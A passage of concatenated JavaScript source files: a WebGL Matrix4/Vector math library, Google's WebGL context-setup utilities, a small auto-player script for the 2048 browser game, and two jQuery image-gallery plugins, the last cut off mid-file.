result[3] = p[0] * e[3] + p[1] * e[7] + p[2] * e[11] + p[3] * e[15];
return v;
};
/**
* Transpose the matrix.
* @return this
*/
Matrix4.prototype.transpose = function() {
var e, t;
e = this.elements;
t = e[ 1]; e[ 1] = e[ 4]; e[ 4] = t;
t = e[ 2]; e[ 2] = e[ 8]; e[ 8] = t;
t = e[ 3]; e[ 3] = e[12]; e[12] = t;
t = e[ 6]; e[ 6] = e[ 9]; e[ 9] = t;
t = e[ 7]; e[ 7] = e[13]; e[13] = t;
t = e[11]; e[11] = e[14]; e[14] = t;
return this;
};
/**
* Calculate the inverse matrix of specified matrix, and set to this.
* @param other The source matrix
* @return this
*/
Matrix4.prototype.setInverseOf = function(other) {
var i, s, d, inv, det;
s = other.elements;
d = this.elements;
inv = new Float32Array(16);
inv[0] = s[5]*s[10]*s[15] - s[5] *s[11]*s[14] - s[9] *s[6]*s[15]
+ s[9]*s[7] *s[14] + s[13]*s[6] *s[11] - s[13]*s[7]*s[10];
inv[4] = - s[4]*s[10]*s[15] + s[4] *s[11]*s[14] + s[8] *s[6]*s[15]
- s[8]*s[7] *s[14] - s[12]*s[6] *s[11] + s[12]*s[7]*s[10];
inv[8] = s[4]*s[9] *s[15] - s[4] *s[11]*s[13] - s[8] *s[5]*s[15]
+ s[8]*s[7] *s[13] + s[12]*s[5] *s[11] - s[12]*s[7]*s[9];
inv[12] = - s[4]*s[9] *s[14] + s[4] *s[10]*s[13] + s[8] *s[5]*s[14]
- s[8]*s[6] *s[13] - s[12]*s[5] *s[10] + s[12]*s[6]*s[9];
inv[1] = - s[1]*s[10]*s[15] + s[1] *s[11]*s[14] + s[9] *s[2]*s[15]
- s[9]*s[3] *s[14] - s[13]*s[2] *s[11] + s[13]*s[3]*s[10];
inv[5] = s[0]*s[10]*s[15] - s[0] *s[11]*s[14] - s[8] *s[2]*s[15]
+ s[8]*s[3] *s[14] + s[12]*s[2] *s[11] - s[12]*s[3]*s[10];
inv[9] = - s[0]*s[9] *s[15] + s[0] *s[11]*s[13] + s[8] *s[1]*s[15]
- s[8]*s[3] *s[13] - s[12]*s[1] *s[11] + s[12]*s[3]*s[9];
inv[13] = s[0]*s[9] *s[14] - s[0] *s[10]*s[13] - s[8] *s[1]*s[14]
+ s[8]*s[2] *s[13] + s[12]*s[1] *s[10] - s[12]*s[2]*s[9];
inv[2] = s[1]*s[6]*s[15] - s[1] *s[7]*s[14] - s[5] *s[2]*s[15]
+ s[5]*s[3]*s[14] + s[13]*s[2]*s[7] - s[13]*s[3]*s[6];
inv[6] = - s[0]*s[6]*s[15] + s[0] *s[7]*s[14] + s[4] *s[2]*s[15]
- s[4]*s[3]*s[14] - s[12]*s[2]*s[7] + s[12]*s[3]*s[6];
inv[10] = s[0]*s[5]*s[15] - s[0] *s[7]*s[13] - s[4] *s[1]*s[15]
+ s[4]*s[3]*s[13] + s[12]*s[1]*s[7] - s[12]*s[3]*s[5];
inv[14] = - s[0]*s[5]*s[14] + s[0] *s[6]*s[13] + s[4] *s[1]*s[14]
- s[4]*s[2]*s[13] - s[12]*s[1]*s[6] + s[12]*s[2]*s[5];
inv[3] = - s[1]*s[6]*s[11] + s[1]*s[7]*s[10] + s[5]*s[2]*s[11]
- s[5]*s[3]*s[10] - s[9]*s[2]*s[7] + s[9]*s[3]*s[6];
inv[7] = s[0]*s[6]*s[11] - s[0]*s[7]*s[10] - s[4]*s[2]*s[11]
+ s[4]*s[3]*s[10] + s[8]*s[2]*s[7] - s[8]*s[3]*s[6];
inv[11] = - s[0]*s[5]*s[11] + s[0]*s[7]*s[9] + s[4]*s[1]*s[11]
- s[4]*s[3]*s[9] - s[8]*s[1]*s[7] + s[8]*s[3]*s[5];
inv[15] = s[0]*s[5]*s[10] - s[0]*s[6]*s[9] - s[4]*s[1]*s[10]
+ s[4]*s[2]*s[9] + s[8]*s[1]*s[6] - s[8]*s[2]*s[5];
det = s[0]*inv[0] + s[1]*inv[4] + s[2]*inv[8] + s[3]*inv[12];
if (det === 0) {
return this;
}
det = 1 / det;
for (i = 0; i < 16; i++) {
d[i] = inv[i] * det;
}
return this;
};
/**
* Calculate the inverse matrix of this, and set to this.
* @return this
*/
Matrix4.prototype.invert = function() {
return this.setInverseOf(this);
};
/**
* Set the orthographic projection matrix.
* @param left The coordinate of the left of clipping plane.
* @param right The coordinate of the right of clipping plane.
* @param bottom The coordinate of the bottom of clipping plane.
* @param top The coordinate of the top top clipping plane.
* @param near The distances to the nearer depth clipping plane. This value is minus if the plane is to be behind the viewer.
* @param far The distances to the farther depth clipping plane. This value is minus if the plane is to be behind the viewer.
* @return this
*/
Matrix4.prototype.setOrtho = function(left, right, bottom, top, near, far) {
var e, rw, rh, rd;
if (left === right || bottom === top || near === far) {
throw 'null frustum';
}
rw = 1 / (right - left);
rh = 1 / (top - bottom);
rd = 1 / (far - near);
e = this.elements;
e[0] = 2 * rw;
e[1] = 0;
e[2] = 0;
e[3] = 0;
e[4] = 0;
e[5] = 2 * rh;
e[6] = 0;
e[7] = 0;
e[8] = 0;
e[9] = 0;
e[10] = -2 * rd;
e[11] = 0;
e[12] = -(right + left) * rw;
e[13] = -(top + bottom) * rh;
e[14] = -(far + near) * rd;
e[15] = 1;
return this;
};
/**
* Multiply the orthographic projection matrix from the right.
* @param left The coordinate of the left of clipping plane.
* @param right The coordinate of the right of clipping plane.
* @param bottom The coordinate of the bottom of clipping plane.
* @param top The coordinate of the top top clipping plane.
* @param near The distances to the nearer depth clipping plane. This value is minus if the plane is to be behind the viewer.
* @param far The distances to the farther depth clipping plane. This value is minus if the plane is to be behind the viewer.
* @return this
*/
Matrix4.prototype.ortho = function(left, right, bottom, top, near, far) {
return this.concat(new Matrix4().setOrtho(left, right, bottom, top, near, far));
};
/**
* Set the perspective projection matrix.
* @param left The coordinate of the left of clipping plane.
* @param right The coordinate of the right of clipping plane.
* @param bottom The coordinate of the bottom of clipping plane.
* @param top The coordinate of the top top clipping plane.
* @param near The distances to the nearer depth clipping plane. This value must be plus value.
* @param far The distances to the farther depth clipping plane. This value must be plus value.
* @return this
*/
Matrix4.prototype.setFrustum = function(left, right, bottom, top, near, far) {
var e, rw, rh, rd;
if (left === right || top === bottom || near === far) {
throw 'null frustum';
}
if (near <= 0) {
throw 'near <= 0';
}
if (far <= 0) {
throw 'far <= 0';
}
rw = 1 / (right - left);
rh = 1 / (top - bottom);
rd = 1 / (far - near);
e = this.elements;
e[ 0] = 2 * near * rw;
e[ 1] = 0;
e[ 2] = 0;
e[ 3] = 0;
e[ 4] = 0;
e[ 5] = 2 * near * rh;
e[ 6] = 0;
e[ 7] = 0;
e[ 8] = (right + left) * rw;
e[ 9] = (top + bottom) * rh;
e[10] = -(far + near) * rd;
e[11] = -1;
e[12] = 0;
e[13] = 0;
e[14] = -2 * near * far * rd;
e[15] = 0;
return this;
};
/**
* Multiply the perspective projection matrix from the right.
* @param left The coordinate of the left of clipping plane.
* @param right The coordinate of the right of clipping plane.
* @param bottom The coordinate of the bottom of clipping plane.
* @param top The coordinate of the top top clipping plane.
* @param near The distances to the nearer depth clipping plane. This value must be plus value.
* @param far The distances to the farther depth clipping plane. This value must be plus value.
* @return this
*/
Matrix4.prototype.frustum = function(left, right, bottom, top, near, far) {
return this.concat(new Matrix4().setFrustum(left, right, bottom, top, near, far));
};
/**
* Set the perspective projection matrix by fovy and aspect.
* @param fovy The angle between the upper and lower sides of the frustum.
* @param aspect The aspect ratio of the frustum. (width/height)
* @param near The distances to the nearer depth clipping plane. This value must be plus value.
* @param far The distances to the farther depth clipping plane. This value must be plus value.
* @return this
*/
Matrix4.prototype.setPerspective = function(fovy, aspect, near, far) {
var e, rd, s, ct;
if (near === far || aspect === 0) {
throw 'null frustum';
}
if (near <= 0) {
throw 'near <= 0';
}
if (far <= 0) {
throw 'far <= 0';
}
fovy = Math.PI * fovy / 180 / 2;
s = Math.sin(fovy);
if (s === 0) {
throw 'null frustum';
}
rd = 1 / (far - near);
ct = Math.cos(fovy) / s;
e = this.elements;
e[0] = ct / aspect;
e[1] = 0;
e[2] = 0;
e[3] = 0;
e[4] = 0;
e[5] = ct;
e[6] = 0;
e[7] = 0;
e[8] = 0;
e[9] = 0;
e[10] = -(far + near) * rd;
e[11] = -1;
e[12] = 0;
e[13] = 0;
e[14] = -2 * near * far * rd;
e[15] = 0;
return this;
};
/**
* Multiply the perspective projection matrix from the right.
* @param fovy The angle between the upper and lower sides of the frustum.
* @param aspect The aspect ratio of the frustum. (width/height)
* @param near The distances to the nearer depth clipping plane. This value must be plus value.
* @param far The distances to the farther depth clipping plane. This value must be plus value.
* @return this
*/
Matrix4.prototype.perspective = function(fovy, aspect, near, far) {
return this.concat(new Matrix4().setPerspective(fovy, aspect, near, far));
};
/**
* Set the matrix for scaling.
* @param x The scale factor along the X axis
* @param y The scale factor along the Y axis
* @param z The scale factor along the Z axis
* @return this
*/
Matrix4.prototype.setScale = function(x, y, z) {
var e = this.elements;
e[0] = x; e[4] = 0; e[8] = 0; e[12] = 0;
e[1] = 0; e[5] = y; e[9] = 0; e[13] = 0;
e[2] = 0; e[6] = 0; e[10] = z; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
return this;
};
/**
* Multiply the matrix for scaling from the right.
* @param x The scale factor along the X axis
* @param y The scale factor along the Y axis
* @param z The scale factor along the Z axis
* @return this
*/
Matrix4.prototype.scale = function(x, y, z) {
var e = this.elements;
e[0] *= x; e[4] *= y; e[8] *= z;
e[1] *= x; e[5] *= y; e[9] *= z;
e[2] *= x; e[6] *= y; e[10] *= z;
e[3] *= x; e[7] *= y; e[11] *= z;
return this;
};
/**
* Set the matrix for translation.
* @param x The X value of a translation.
* @param y The Y value of a translation.
* @param z The Z value of a translation.
* @return this
*/
Matrix4.prototype.setTranslate = function(x, y, z) {
var e = this.elements;
e[0] = 1; e[4] = 0; e[8] = 0; e[12] = x;
e[1] = 0; e[5] = 1; e[9] = 0; e[13] = y;
e[2] = 0; e[6] = 0; e[10] = 1; e[14] = z;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
return this;
};
/**
* Multiply the matrix for translation from the right.
* @param x The X value of a translation.
* @param y The Y value of a translation.
* @param z The Z value of a translation.
* @return this
*/
Matrix4.prototype.translate = function(x, y, z) {
var e = this.elements;
e[12] += e[0] * x + e[4] * y + e[8] * z;
e[13] += e[1] * x + e[5] * y + e[9] * z;
e[14] += e[2] * x + e[6] * y + e[10] * z;
e[15] += e[3] * x + e[7] * y + e[11] * z;
return this;
};
/**
* Set the matrix for rotation.
* The vector of rotation axis may not be normalized.
* @param angle The angle of rotation (degrees)
* @param x The X coordinate of vector of rotation axis.
* @param y The Y coordinate of vector of rotation axis.
* @param z The Z coordinate of vector of rotation axis.
* @return this
*/
Matrix4.prototype.setRotate = function(angle, x, y, z) {
var e, s, c, len, rlen, nc, xy, yz, zx, xs, ys, zs;
angle = Math.PI * angle / 180;
e = this.elements;
s = Math.sin(angle);
c = Math.cos(angle);
if (0 !== x && 0 === y && 0 === z) {
// Rotation around X axis
if (x < 0) {
s = -s;
}
e[0] = 1; e[4] = 0; e[ 8] = 0; e[12] = 0;
e[1] = 0; e[5] = c; e[ 9] =-s; e[13] = 0;
e[2] = 0; e[6] = s; e[10] = c; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
} else if (0 === x && 0 !== y && 0 === z) {
// Rotation around Y axis
if (y < 0) {
s = -s;
}
e[0] = c; e[4] = 0; e[ 8] = s; e[12] = 0;
e[1] = 0; e[5] = 1; e[ 9] = 0; e[13] = 0;
e[2] =-s; e[6] = 0; e[10] = c; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
} else if (0 === x && 0 === y && 0 !== z) {
// Rotation around Z axis
if (z < 0) {
s = -s;
}
e[0] = c; e[4] =-s; e[ 8] = 0; e[12] = 0;
e[1] = s; e[5] = c; e[ 9] = 0; e[13] = 0;
e[2] = 0; e[6] = 0; e[10] = 1; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
} else {
// Rotation around another axis
len = Math.sqrt(x*x + y*y + z*z);
if (len !== 1) {
rlen = 1 / len;
x *= rlen;
y *= rlen;
z *= rlen;
}
nc = 1 - c;
xy = x * y;
yz = y * z;
zx = z * x;
xs = x * s;
ys = y * s;
zs = z * s;
e[ 0] = x*x*nc + c;
e[ 1] = xy *nc + zs;
e[ 2] = zx *nc - ys;
e[ 3] = 0;
e[ 4] = xy *nc - zs;
e[ 5] = y*y*nc + c;
e[ 6] = yz *nc + xs;
e[ 7] = 0;
e[ 8] = zx *nc + ys;
e[ 9] = yz *nc - xs;
e[10] = z*z*nc + c;
e[11] = 0;
e[12] = 0;
e[13] = 0;
e[14] = 0;
e[15] = 1;
}
return this;
};
/**
* Multiply the matrix for rotation from the right.
* The vector of rotation axis may not be normalized.
* @param angle The angle of rotation (degrees)
* @param x The X coordinate of vector of rotation axis.
* @param y The Y coordinate of vector of rotation axis.
* @param z The Z coordinate of vector of rotation axis.
* @return this
*/
Matrix4.prototype.rotate = function(angle, x, y, z) {
return this.concat(new Matrix4().setRotate(angle, x, y, z));
};
/**
* Set the viewing matrix.
* @param eyeX, eyeY, eyeZ The position of the eye point.
* @param centerX, centerY, centerZ The position of the reference point.
* @param upX, upY, upZ The direction of the up vector.
* @return this
*/
Matrix4.prototype.setLookAt = function(eyeX, eyeY, eyeZ, centerX, centerY, centerZ, upX, upY, upZ) {
var e, fx, fy, fz, rlf, sx, sy, sz, rls, ux, uy, uz;
fx = centerX - eyeX;
fy = centerY - eyeY;
fz = centerZ - eyeZ;
// Normalize f.
rlf = 1 / Math.sqrt(fx*fx + fy*fy + fz*fz);
fx *= rlf;
fy *= rlf;
fz *= rlf;
// Calculate cross product of f and up.
sx = fy * upZ - fz * upY;
sy = fz * upX - fx * upZ;
sz = fx * upY - fy * upX;
// Normalize s.
rls = 1 / Math.sqrt(sx*sx + sy*sy + sz*sz);
sx *= rls;
sy *= rls;
sz *= rls;
// Calculate cross product of s and f.
ux = sy * fz - sz * fy;
uy = sz * fx - sx * fz;
uz = sx * fy - sy * fx;
// Set to this.
e = this.elements;
e[0] = sx;
e[1] = ux;
e[2] = -fx;
e[3] = 0;
e[4] = sy;
e[5] = uy;
e[6] = -fy;
e[7] = 0;
e[8] = sz;
e[9] = uz;
e[10] = -fz;
e[11] = 0;
e[12] = 0;
e[13] = 0;
e[14] = 0;
e[15] = 1;
// Translate.
return this.translate(-eyeX, -eyeY, -eyeZ);
};
/**
* Multiply the viewing matrix from the right.
* @param eyeX, eyeY, eyeZ The position of the eye point.
* @param centerX, centerY, centerZ The position of the reference point.
* @param upX, upY, upZ The direction of the up vector.
* @return this
*/
Matrix4.prototype.lookAt = function(eyeX, eyeY, eyeZ, centerX, centerY, centerZ, upX, upY, upZ) {
return this.concat(new Matrix4().setLookAt(eyeX, eyeY, eyeZ, centerX, centerY, centerZ, upX, upY, upZ));
};
/**
* Multiply the matrix for project vertex to plane from the right.
* @param plane The array[A, B, C, D] of the equation of plane "Ax + By + Cz + D = 0".
* @param light The array which stored coordinates of the light. if light[3]=0, treated as parallel light.
* @return this
*/
Matrix4.prototype.dropShadow = function(plane, light) {
var mat = new Matrix4();
var e = mat.elements;
var dot = plane[0] * light[0] + plane[1] * light[1] + plane[2] * light[2] + plane[3] * light[3];
e[ 0] = dot - light[0] * plane[0];
e[ 1] = - light[1] * plane[0];
e[ 2] = - light[2] * plane[0];
e[ 3] = - light[3] * plane[0];
e[ 4] = - light[0] * plane[1];
e[ 5] = dot - light[1] * plane[1];
e[ 6] = - light[2] * plane[1];
e[ 7] = - light[3] * plane[1];
e[ 8] = - light[0] * plane[2];
e[ 9] = - light[1] * plane[2];
e[10] = dot - light[2] * plane[2];
e[11] = - light[3] * plane[2];
e[12] = - light[0] * plane[3];
e[13] = - light[1] * plane[3];
e[14] = - light[2] * plane[3];
e[15] = dot - light[3] * plane[3];
return this.concat(mat);
}
/**
* Multiply the matrix for project vertex to plane from the right.(Projected by parallel light.)
* @param normX, normY, normZ The normal vector of the plane.(Not necessary to be normalized.)
* @param planeX, planeY, planeZ The coordinate of arbitrary points on a plane.
* @param lightX, lightY, lightZ The vector of the direction of light.(Not necessary to be normalized.)
* @return this
*/
Matrix4.prototype.dropShadowDirectionally = function(normX, normY, normZ, planeX, planeY, planeZ, lightX, lightY, lightZ) {
var a = planeX * normX + planeY * normY + planeZ * normZ;
return this.dropShadow([normX, normY, normZ, -a], [lightX, lightY, lightZ, 0]);
};
/**
* Constructor of Vector3
* If opt_src is specified, new vector is initialized by opt_src.
* @param opt_src source vector(option)
*/
var Vector3 = function(opt_src) {
var v = new Float32Array(3);
if (opt_src && typeof opt_src === 'object') {
v[0] = opt_src[0]; v[1] = opt_src[1]; v[2] = opt_src[2];
}
this.elements = v;
}
/**
* Normalize.
* @return this
*/
Vector3.prototype.normalize = function() {
var v = this.elements;
var c = v[0], d = v[1], e = v[2], g = Math.sqrt(c*c+d*d+e*e);
if(g){
if(g == 1)
return this;
} else {
v[0] = 0; v[1] = 0; v[2] = 0;
return this;
}
g = 1/g;
v[0] = c*g; v[1] = d*g; v[2] = e*g;
return this;
};
/**
* Constructor of Vector4
* If opt_src is specified, new vector is initialized by opt_src.
* @param opt_src source vector(option)
*/
var Vector4 = function(opt_src) {
var v = new Float32Array(4);
if (opt_src && typeof opt_src === 'object') {
v[0] = opt_src[0]; v[1] = opt_src[1]; v[2] = opt_src[2]; v[3] = opt_src[3];
}
this.elements = v;
}
| JavaScript |
/*
* Copyright 2010, Google Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @fileoverview This file contains functions every webgl program will need
* a version of one way or another.
*
* Instead of setting up a context manually it is recommended to
* use. This will check for success or failure. On failure it
* will attempt to present an approriate message to the user.
*
* gl = WebGLUtils.setupWebGL(canvas);
*
* For animated WebGL apps use of setTimeout or setInterval are
* discouraged. It is recommended you structure your rendering
* loop like this.
*
* function render() {
* window.requestAnimationFrame(render, canvas);
*
* // do rendering
* ...
* }
* render();
*
* This will call your rendering function up to the refresh rate
* of your display but will stop rendering if your app is not
* visible.
*/
WebGLUtils = function() {
/**
* Creates the HTLM for a failure message
* @param {string} canvasContainerId id of container of th
* canvas.
* @return {string} The html.
*/
var makeFailHTML = function(msg) {
return '' +
'<div style="margin: auto; width:500px;z-index:10000;margin-top:20em;text-align:center;">' + msg + '</div>';
return '' +
'<table style="background-color: #8CE; width: 100%; height: 100%;"><tr>' +
'<td align="center">' +
'<div style="display: table-cell; vertical-align: middle;">' +
'<div style="">' + msg + '</div>' +
'</div>' +
'</td></tr></table>';
};
/**
* Mesasge for getting a webgl browser
* @type {string}
*/
var GET_A_WEBGL_BROWSER = '' +
'This page requires a browser that supports WebGL.<br/>' +
'<a href="http://get.webgl.org">Click here to upgrade your browser.</a>';
/**
* Mesasge for need better hardware
* @type {string}
*/
var OTHER_PROBLEM = '' +
"It doesn't appear your computer can support WebGL.<br/>" +
'<a href="http://get.webgl.org">Click here for more information.</a>';
/**
* Creates a webgl context. If creation fails it will
* change the contents of the container of the <canvas>
* tag to an error message with the correct links for WebGL.
* @param {Element} canvas. The canvas element to create a
* context from.
* @param {WebGLContextCreationAttirbutes} opt_attribs Any
* creation attributes you want to pass in.
* @param {function:(msg)} opt_onError An function to call
* if there is an error during creation.
* @return {WebGLRenderingContext} The created context.
*/
var setupWebGL = function(canvas, opt_attribs, opt_onError) {
function handleCreationError(msg) {
var container = document.getElementsByTagName("body")[0];
//var container = canvas.parentNode;
if (container) {
var str = window.WebGLRenderingContext ?
OTHER_PROBLEM :
GET_A_WEBGL_BROWSER;
if (msg) {
str += "<br/><br/>Status: " + msg;
}
container.innerHTML = makeFailHTML(str);
}
};
opt_onError = opt_onError || handleCreationError;
if (canvas.addEventListener) {
canvas.addEventListener("webglcontextcreationerror", function(event) {
opt_onError(event.statusMessage);
}, false);
}
var context = create3DContext(canvas, opt_attribs);
if (!context) {
if (!window.WebGLRenderingContext) {
opt_onError("");
} else {
opt_onError("");
}
}
return context;
};
/**
* Creates a webgl context.
* @param {!Canvas} canvas The canvas tag to get context
* from. If one is not passed in one will be created.
* @return {!WebGLContext} The created context.
*/
var create3DContext = function(canvas, opt_attribs) {
var names = ["webgl", "experimental-webgl", "webkit-3d", "moz-webgl"];
var context = null;
for (var ii = 0; ii < names.length; ++ii) {
try {
context = canvas.getContext(names[ii], opt_attribs);
} catch(e) {}
if (context) {
break;
}
}
return context;
}
return {
create3DContext: create3DContext,
setupWebGL: setupWebGL
};
}();
/**
* Provides requestAnimationFrame in a cross browser
* way.
*/
if (!window.requestAnimationFrame) {
window.requestAnimationFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
window.oRequestAnimationFrame ||
window.msRequestAnimationFrame ||
function(/* function FrameRequestCallback */ callback, /* DOMElement Element */ element) {
window.setTimeout(callback, 1000/60);
};
})();
}
/** * ERRATA: 'cancelRequestAnimationFrame' renamed to 'cancelAnimationFrame' to reflect an update to the W3C Animation-Timing Spec.
*
* Cancels an animation frame request.
* Checks for cross-browser support, falls back to clearTimeout.
* @param {number} Animation frame request. */
if (!window.cancelAnimationFrame) {
window.cancelAnimationFrame = (window.cancelRequestAnimationFrame ||
window.webkitCancelAnimationFrame || window.webkitCancelRequestAnimationFrame ||
window.mozCancelAnimationFrame || window.mozCancelRequestAnimationFrame ||
window.msCancelAnimationFrame || window.msCancelRequestAnimationFrame ||
window.oCancelAnimationFrame || window.oCancelRequestAnimationFrame ||
window.clearTimeout);
} | JavaScript |
var AI = function(Field)
{
var result = null;
[].concat.apply([],[0,1,2,3].map(
function(i){ return [0,1,2,3].map(function(j){ return [i,j] }) }
)).sort(
//function(a,b){ return a[0]!=b[0] ? a[0]-b[0] : a[0]%2>0 ? b[1]-a[1] : a[1]-b[1] }
function(a,b){ return a[0]!=b[0] ? a[0]-b[0] : a[1]-b[1] }
).some( function(yx){
var variants = [];
var ver = function(variants, yx){ for (var i = yx[0]+1; i < 4; ++i) variants.push({"dir":"up", "y":i, "x":yx[1]}); };
var hor = function(variants, yx){
if (yx[0]%2) for (var j = yx[1]-1; j >= 0; --j) variants.push({"dir":"right", "y":yx[0], "x":j});
else for (var j = yx[1]+1; j < 4; ++j) variants.push({"dir": "left", "y":yx[0], "x":j});
};
if (yx[1] == 0) { hor(variants, yx);ver(variants, yx) } else { ver(variants, yx);hor(variants, yx) };
//console.log(JSON.stringify(variants));
var a = Field[yx[0]][yx[1]];
var prev;
variants.some( function(dyx){
if (dyx.dir == "right" && !Field[0].every(function(i){ return i }))
return;
//console.log(JSON.stringify(dyx));
if (prev && prev.dir == dyx.dir && Field[prev.y][prev.x])
return;
prev = dyx;
var b = Field[dyx.y][dyx.x];
if (!a && b || a && a == b)
result = dyx.dir;
return result;
} );
return result;
} );
return result || ["left", "right", "up"][Math.floor(Math.random()*3)];
};
var e = document.createEvent("Event");
var loop = function()
{
var field = [[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]];
[].forEach.call($$(".tile"), function(tile){
var t = tile.getAttribute("class");
var coords = t.match(/\d-\d/)[0].split("-");
field[parseInt(coords[1])-1][parseInt(coords[0])-1] = parseInt(t.match(/\d+/)[0]);
} );
//console.log(JSON.stringify(field));
var cmd = AI(field);
var key = {"left":37, "up":38, "right":39, "down":40}[cmd];
if (!key) return alert("unsupported move cmd: " + cmd);
e.initEvent("keydown", true, true);
e.keyCode = key; e.which = key; document.dispatchEvent(e);
if ($(".game-message").getAttribute("class") == "game-message")
setTimeout(loop, 100);
else
alert("end");
};
loop();
| JavaScript |
/**
* jQuery Opacity Rollover plugin
*
* Copyright (c) 2009 Trent Foley (http://trentacular.com)
* Licensed under the MIT License:
* http://www.opensource.org/licenses/mit-license.php
*/
;(function($) {
var defaults = {
mouseOutOpacity: 0.67,
mouseOverOpacity: 1.0,
fadeSpeed: 'fast',
exemptionSelector: '.selected'
};
$.fn.opacityrollover = function(settings) {
// Initialize the effect
$.extend(this, defaults, settings);
var config = this;
function fadeTo(element, opacity) {
var $target = $(element);
if (config.exemptionSelector)
$target = $target.not(config.exemptionSelector);
$target.fadeTo(config.fadeSpeed, opacity);
}
this.css('opacity', this.mouseOutOpacity)
.hover(
function () {
fadeTo(this, config.mouseOverOpacity);
},
function () {
fadeTo(this, config.mouseOutOpacity);
});
return this;
};
})(jQuery);
| JavaScript |
/**
* jQuery Galleriffic plugin
*
* Copyright (c) 2008 Trent Foley (http://trentacular.com)
* Licensed under the MIT License:
* http://www.opensource.org/licenses/mit-license.php
*
* Much thanks to primary contributer Ponticlaro (http://www.ponticlaro.com)
*/
;(function($) {
// Globally keep track of all images by their unique hash. Each item is an image data object.
var allImages = {};
var imageCounter = 0;
// Galleriffic static class
$.galleriffic = {
version: '2.0.1',
// Strips invalid characters and any leading # characters
normalizeHash: function(hash) {
return hash.replace(/^.*#/, '').replace(/\?.*$/, '');
},
getImage: function(hash) {
if (!hash)
return undefined;
hash = $.galleriffic.normalizeHash(hash);
return allImages[hash];
},
// Global function that looks up an image by its hash and displays the image.
// Returns false when an image is not found for the specified hash.
// @param {String} hash This is the unique hash value assigned to an image.
gotoImage: function(hash) {
var imageData = $.galleriffic.getImage(hash);
if (!imageData)
return false;
var gallery = imageData.gallery;
gallery.gotoImage(imageData);
return true;
},
// Removes an image from its respective gallery by its hash.
// Returns false when an image is not found for the specified hash or the
// specified owner gallery does match the located images gallery.
// @param {String} hash This is the unique hash value assigned to an image.
// @param {Object} ownerGallery (Optional) When supplied, the located images
// gallery is verified to be the same as the specified owning gallery before
// performing the remove operation.
removeImageByHash: function(hash, ownerGallery) {
var imageData = $.galleriffic.getImage(hash);
if (!imageData)
return false;
var gallery = imageData.gallery;
if (ownerGallery && ownerGallery != gallery)
return false;
return gallery.removeImageByIndex(imageData.index);
}
};
var defaults = {
delay: 3000,
numThumbs: 20,
preloadAhead: 40, // Set to -1 to preload all images
enableTopPager: false,
enableBottomPager: true,
maxPagesToShow: 7,
imageContainerSel: '',
captionContainerSel: '',
controlsContainerSel: '',
loadingContainerSel: '',
renderSSControls: true,
renderNavControls: true,
playLinkText: 'Play',
pauseLinkText: 'Pause',
prevLinkText: 'Previous',
nextLinkText: 'Next',
nextPageLinkText: 'Next ›',
prevPageLinkText: '‹ Prev',
enableHistory: false,
enableKeyboardNavigation: true,
autoStart: false,
syncTransitions: false,
defaultTransitionDuration: 1000,
onSlideChange: undefined, // accepts a delegate like such: function(prevIndex, nextIndex) { ... }
onTransitionOut: undefined, // accepts a delegate like such: function(slide, caption, isSync, callback) { ... }
onTransitionIn: undefined, // accepts a delegate like such: function(slide, caption, isSync) { ... }
onPageTransitionOut: undefined, // accepts a delegate like such: function(callback) { ... }
onPageTransitionIn: undefined, // accepts a delegate like such: function() { ... }
onImageAdded: undefined, // accepts a delegate like such: function(imageData, $li) { ... }
onImageRemoved: undefined // accepts a delegate like such: function(imageData, $li) { ... }
};
// Primary Galleriffic initialization function that should be called on the thumbnail container.
$.fn.galleriffic = function(settings) {
// Extend Gallery Object
$.extend(this, {
// Returns the version of the script
version: $.galleriffic.version,
// Current state of the slideshow
isSlideshowRunning: false,
slideshowTimeout: undefined,
// This function is attached to the click event of generated hyperlinks within the gallery
clickHandler: function(e, link) {
this.pause();
if (!this.enableHistory) {
// The href attribute holds the unique hash for an image
var hash = $.galleriffic.normalizeHash($(link).attr('href'));
$.galleriffic.gotoImage(hash);
e.preventDefault();
}
},
// Appends an image to the end of the set of images. Argument listItem can be either a jQuery DOM element or arbitrary html.
// @param listItem Either a jQuery object or a string of html of the list item that is to be added to the gallery.
appendImage: function(listItem) {
this.addImage(listItem, false, false);
return this;
},
// Inserts an image into the set of images. Argument listItem can be either a jQuery DOM element or arbitrary html.
// @param listItem Either a jQuery object or a string of html of the list item that is to be added to the gallery.
// @param {Integer} position The index within the gallery where the item shouold be added.
insertImage: function(listItem, position) {
this.addImage(listItem, false, true, position);
return this;
},
// Adds an image to the gallery and optionally inserts/appends it to the DOM (thumbExists)
// @param listItem Either a jQuery object or a string of html of the list item that is to be added to the gallery.
